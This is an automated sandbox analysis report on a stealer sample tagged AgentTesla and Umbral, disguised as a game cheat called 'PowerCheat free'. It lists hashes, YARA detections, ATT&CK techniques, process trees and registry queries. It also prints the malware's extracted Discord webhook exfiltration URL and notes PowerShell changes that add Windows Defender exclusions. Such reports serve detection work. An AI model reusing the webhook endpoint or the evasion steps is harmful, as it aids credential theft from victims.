agenttesla | 799adf5563cca6365b1290711e311947ed6618e1854d91ae021aa51a5028e6d6

Analysis

max time kernel
46s
max time network
120s
platform
windows10-2004_x64
resource
win10v2004-20240611-en
resource tags

arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
submitted
12-06-2024 17:55

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

macros.exp
Size

11B
MD5

4bc624dceaefa042d85d620a6899f789
SHA1

80075d4ba26c76a151ae37110a47eacd30bc2c8e
SHA256

799adf5563cca6365b1290711e311947ed6618e1854d91ae021aa51a5028e6d6
SHA512

d732882835028d2827caff2f438a5309e032f029b208d03d32dacb2d896f11faba52ee38de3e3c6940f130425c87317f3896144a4f4aaa665285b2ccc30fe0a3

Score

10^/10

agenttesla umbral execution keylogger spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1250361429333250119/Ue0qgEfIsngTl30ZNCtwzPjGafoMAt1Nkvz6HdtQyp6-br8N7e5NViVMa77MrDft7Ulq

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x00080000000234f5-626.dat	family_umbral
behavioral1/memory/5680-628-0x00000194759F0000-0x0000019475A30000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

AgentTesla payload 1 IoCs

resource	yara_rule
behavioral1/memory/5668-613-0x0000021639F80000-0x000002163A194000-memory.dmp	family_agenttesla

Command and Scripting Interpreter: PowerShell 1 TTPs 11 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1540	powershell.exe
6860	powershell.exe
6276	powershell.exe
6116	powershell.exe
6932	powershell.exe
5124	powershell.exe
6572	powershell.exe
1540	powershell.exe
6604	powershell.exe
6500	powershell.exe
2684	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 4 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	PowerCheat free.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000\Control Panel\International\Geo\Nation	PowerCheatEmuHider.exe

Executes dropped EXE 9 IoCs

pid	Process
5356	PowerCheat free.exe
5668	PowerCheat_free.exe
5984	PowerCheatEmuHider.exe
6008	PowerCheatEmuHider.exe
5680	HiderLdPlayer.exe
3236	PowerCheatEmuHider.exe
3872	HiderLdPlayer.exe
5172	PowerCheatEmuHider.exe
5348	HiderLdPlayer.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 22 IoCs

Web Service

T1102

flow	ioc
451	discord.com
490	discord.com
491	discord.com
518	discord.com
444	discord.com
461	discord.com
519	discord.com
356	discord.com
399	discord.com
413	discord.com
419	discord.com
420	discord.com
400	discord.com
427	discord.com
428	discord.com
443	discord.com
460	discord.com
358	discord.com
414	discord.com
452	discord.com
506	discord.com
507	discord.com

Looks up external IP address via web service 12 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
416	ip-api.com
424	ip-api.com
440	ip-api.com
502	ip-api.com
522	ip-api.com
338	ip-api.com
396	ip-api.com
455	ip-api.com
466	ip-api.com
515	ip-api.com
404	ip-api.com
448	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 12 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~Mhz	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	firefox.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Signature	firefox.exe

Detects videocard installed 1 TTPs 11 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
6680	wmic.exe
6840	wmic.exe
7008	wmic.exe
6096	wmic.exe
1912	wmic.exe
4068	wmic.exe
6832	wmic.exe
7164	wmic.exe
6912	wmic.exe
6568	wmic.exe
4068	wmic.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemVersion	PowerCheat_free.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	PowerCheat_free.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	PowerCheat_free.exe

Modifies registry class 3 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings	cmd.exe
Key created	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-2080292272-204036150-2159171770-1000_Classes\Local Settings	firefox.exe

NTFS ADS 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\Downloads\PowerCheat free.exe:Zone.Identifier	firefox.exe

Runs ping.exe 1 TTPs 11 IoCs

Remote System Discovery

T1018

pid	Process
5300	PING.EXE
1060	PING.EXE
5176	PING.EXE
1108	PING.EXE
3036	PING.EXE
6908	PING.EXE
4540	PING.EXE
6644	PING.EXE
6924	PING.EXE
6336	PING.EXE
6996	PING.EXE

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
5668	PowerCheat_free.exe
5668	PowerCheat_free.exe
5668	PowerCheat_free.exe
5680	HiderLdPlayer.exe
5680	HiderLdPlayer.exe

Suspicious use of AdjustPrivilegeToken 48 IoCs

description	pid	Process
Token: SeDebugPrivilege	2092	firefox.exe
Token: SeDebugPrivilege	2092	firefox.exe
Token: SeDebugPrivilege	5668	PowerCheat_free.exe
Token: SeDebugPrivilege	5680	HiderLdPlayer.exe
Token: SeIncreaseQuotaPrivilege	3792	wmic.exe
Token: SeSecurityPrivilege	3792	wmic.exe
Token: SeTakeOwnershipPrivilege	3792	wmic.exe
Token: SeLoadDriverPrivilege	3792	wmic.exe
Token: SeSystemProfilePrivilege	3792	wmic.exe
Token: SeSystemtimePrivilege	3792	wmic.exe
Token: SeProfSingleProcessPrivilege	3792	wmic.exe
Token: SeIncBasePriorityPrivilege	3792	wmic.exe
Token: SeCreatePagefilePrivilege	3792	wmic.exe
Token: SeBackupPrivilege	3792	wmic.exe
Token: SeRestorePrivilege	3792	wmic.exe
Token: SeShutdownPrivilege	3792	wmic.exe
Token: SeDebugPrivilege	3792	wmic.exe
Token: SeSystemEnvironmentPrivilege	3792	wmic.exe
Token: SeRemoteShutdownPrivilege	3792	wmic.exe
Token: SeUndockPrivilege	3792	wmic.exe
Token: SeManageVolumePrivilege	3792	wmic.exe
Token: SeImpersonatePrivilege	3792	wmic.exe
Token: 33	3792	wmic.exe
Token: 34	3792	wmic.exe
Token: 35	3792	wmic.exe
Token: 36	3792	wmic.exe
Token: SeIncreaseQuotaPrivilege	3792	wmic.exe
Token: SeSecurityPrivilege	3792	wmic.exe
Token: SeTakeOwnershipPrivilege	3792	wmic.exe
Token: SeLoadDriverPrivilege	3792	wmic.exe
Token: SeSystemProfilePrivilege	3792	wmic.exe
Token: SeSystemtimePrivilege	3792	wmic.exe
Token: SeProfSingleProcessPrivilege	3792	wmic.exe
Token: SeIncBasePriorityPrivilege	3792	wmic.exe
Token: SeCreatePagefilePrivilege	3792	wmic.exe
Token: SeBackupPrivilege	3792	wmic.exe
Token: SeRestorePrivilege	3792	wmic.exe
Token: SeShutdownPrivilege	3792	wmic.exe
Token: SeDebugPrivilege	3792	wmic.exe
Token: SeSystemEnvironmentPrivilege	3792	wmic.exe
Token: SeRemoteShutdownPrivilege	3792	wmic.exe
Token: SeUndockPrivilege	3792	wmic.exe
Token: SeManageVolumePrivilege	3792	wmic.exe
Token: SeImpersonatePrivilege	3792	wmic.exe
Token: 33	3792	wmic.exe
Token: 34	3792	wmic.exe
Token: 35	3792	wmic.exe
Token: 36	3792	wmic.exe

Suspicious use of FindShellTrayWindow 7 IoCs

pid	Process
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe

Suspicious use of SendNotifyMessage 6 IoCs

pid	Process
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3824	OpenWith.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe
2092	firefox.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 3252 wrote to memory of 2092	3252	firefox.exe	93
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4476	2092	firefox.exe	95
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96
PID 2092 wrote to memory of 4040	2092	firefox.exe	96

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 12 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
2844	attrib.exe
6720	attrib.exe
6284	attrib.exe
7160	attrib.exe
5344	attrib.exe
1328	attrib.exe
7140	attrib.exe
6548	attrib.exe
7100	attrib.exe
6920	attrib.exe
3036	attrib.exe
7164	attrib.exe

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\macros.exp
1⤵
- Modifies registry class
PID:696

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3824

C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:3252
- C:\Program Files\Mozilla Firefox\firefox.exe
  "C:\Program Files\Mozilla Firefox\firefox.exe"
  2⤵
  - Checks processor information in registry
  - Modifies registry class
  - NTFS ADS
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2092
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.0.382251587\1802216569" -parentBuildID 20230214051806 -prefsHandle 1720 -prefMapHandle 1712 -prefsLen 22076 -prefMapSize 235121 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a2abfffd-fafd-4548-b91a-37362750fd76} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 1812 1dfd920a558 gpu
    3⤵
    PID:4476
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.1.1205856578\496853739" -parentBuildID 20230214051806 -prefsHandle 2384 -prefMapHandle 2380 -prefsLen 22112 -prefMapSize 235121 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {31de479f-32ee-40d5-92f9-de363263ff1a} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 2400 1dfc5086e58 socket
    3⤵
    PID:4040
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.2.337654379\366261449" -childID 1 -isForBrowser -prefsHandle 2864 -prefMapHandle 2880 -prefsLen 22215 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9ea70f1d-84d5-41e1-b8df-0e15900e69aa} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 2844 1dfdc111c58 tab
    3⤵
    PID:4136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.3.1562098139\2127389140" -childID 2 -isForBrowser -prefsHandle 4036 -prefMapHandle 4032 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {3cae6749-db28-48a2-982f-5a2da8cf1e35} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 4048 1dfdd5a2658 tab
    3⤵
    PID:4772
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.4.1283901092\608248240" -childID 3 -isForBrowser -prefsHandle 4936 -prefMapHandle 4868 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {b164e0d7-a4fa-4091-aa7f-d5dd2964423e} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 4928 1dfdfe6b458 tab
    3⤵
    PID:2988
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.5.1385643627\1145103704" -childID 4 -isForBrowser -prefsHandle 5088 -prefMapHandle 5092 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2b004c09-a0be-4b3e-a8d0-84a4cd640d30} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 5076 1dfdfe6b758 tab
    3⤵
    PID:3616
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.6.557388482\398084699" -childID 5 -isForBrowser -prefsHandle 5296 -prefMapHandle 5300 -prefsLen 27616 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ad7512be-4142-435c-9a98-c1c7c90d2348} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 4972 1dfdfe6c958 tab
    3⤵
    PID:3928
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.7.108050532\1696809827" -childID 6 -isForBrowser -prefsHandle 5952 -prefMapHandle 5944 -prefsLen 27697 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {95f226fd-b610-4ec8-8353-42be5bef653e} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 5960 1dfe1847258 tab
    3⤵
    PID:4924
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.8.1228986513\716639778" -childID 7 -isForBrowser -prefsHandle 10072 -prefMapHandle 10088 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4194d04b-9282-4959-9b7b-0c91da5f00f6} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 10060 1dfdee7cb58 tab
    3⤵
    PID:2136
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.9.1830207837\1834363030" -childID 8 -isForBrowser -prefsHandle 9908 -prefMapHandle 9904 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {2d903b07-1a03-43f9-bdf1-1e9d71196141} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 10040 1dfdee7c258 tab
    3⤵
    PID:4420
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.10.1377577497\215565356" -childID 9 -isForBrowser -prefsHandle 9724 -prefMapHandle 9740 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eaf46e37-2dcd-42d6-a633-0ca13d294451} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 6152 1dfe139e258 tab
    3⤵
    PID:4576
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.11.527817869\1527999408" -childID 10 -isForBrowser -prefsHandle 9676 -prefMapHandle 5500 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {5f76d5d2-6304-4b6e-b478-3df3afefe2a9} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 5544 1dfe1764858 tab
    3⤵
    PID:5544
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.12.58890372\860643805" -childID 11 -isForBrowser -prefsHandle 9452 -prefMapHandle 10048 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {7d6c7722-81ed-412f-b27d-bacf0ccc8318} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 9912 1dfdee7c258 tab
    3⤵
    PID:5472
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.13.294966449\957006361" -childID 12 -isForBrowser -prefsHandle 9456 -prefMapHandle 9704 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {19984e14-7ca1-40a8-a31d-cbe0efc5def0} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 10060 1dfdf9af158 tab
    3⤵
    PID:5512
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.14.1566034439\1555624492" -childID 13 -isForBrowser -prefsHandle 5968 -prefMapHandle 6120 -prefsLen 27776 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4f57f2b9-eec4-404e-b6aa-468adf3763d6} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 6012 1dfdf9afa58 tab
    3⤵
    PID:5524
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.15.492968858\819171178" -childID 14 -isForBrowser -prefsHandle 4376 -prefMapHandle 4900 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {59395b5e-22b0-496a-801e-d5ce2877a613} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 5252 1dfddd5c258 tab
    3⤵
    PID:1008
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.16.1007076817\851325028" -childID 15 -isForBrowser -prefsHandle 9764 -prefMapHandle 9856 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ce06acee-41ef-422f-bb69-724a8a909daa} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 6068 1dfe1785858 tab
    3⤵
    PID:6060
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.17.1040154990\622717756" -childID 16 -isForBrowser -prefsHandle 10092 -prefMapHandle 9892 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {d20a6f57-dc48-42a1-9426-7f8d9b973bde} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 4972 1dfd988db58 tab
    3⤵
    PID:5304
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.18.692667121\705252695" -childID 17 -isForBrowser -prefsHandle 6172 -prefMapHandle 10136 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ebff75f9-b937-48bc-90fa-441b66b3a89f} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 9452 1dfdfd06858 tab
    3⤵
    PID:5312
- - C:\Program Files\Mozilla Firefox\firefox.exe
    "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="2092.19.34105818\1233523547" -childID 18 -isForBrowser -prefsHandle 9312 -prefMapHandle 9304 -prefsLen 28041 -prefMapSize 235121 -jsInitHandle 1252 -jsInitLen 246560 -a11yResourceId 64 -parentBuildID 20230214051806 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {476ddf42-5a9f-41ae-8416-5a45836d961a} 2092 "\\.\pipe\gecko-crash-server-pipe.2092" 10040 1dfe1785b58 tab
    3⤵
    PID:5624
- - C:\Users\Admin\Downloads\PowerCheat free.exe
    "C:\Users\Admin\Downloads\PowerCheat free.exe"
    3⤵
    - Checks computer location settings
    - Executes dropped EXE
    PID:5356
  - - C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe
      "C:\Users\Admin\AppData\Local\Temp\PowerCheat_free.exe"
      4⤵
      Executes dropped EXE
      Enumerates system info in registry
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:5668
    - - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://t.me/powergirlso2
        5⤵
        
        PID:6124
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ffa8a0646f8,0x7ffa8a064708,0x7ffa8a064718
        6⤵
        
        PID:6108
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
        "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1980,7193557125099389925,17047886685571870593,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1972 /prefetch:2
        6⤵
        
        PID:4512
      - C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
        
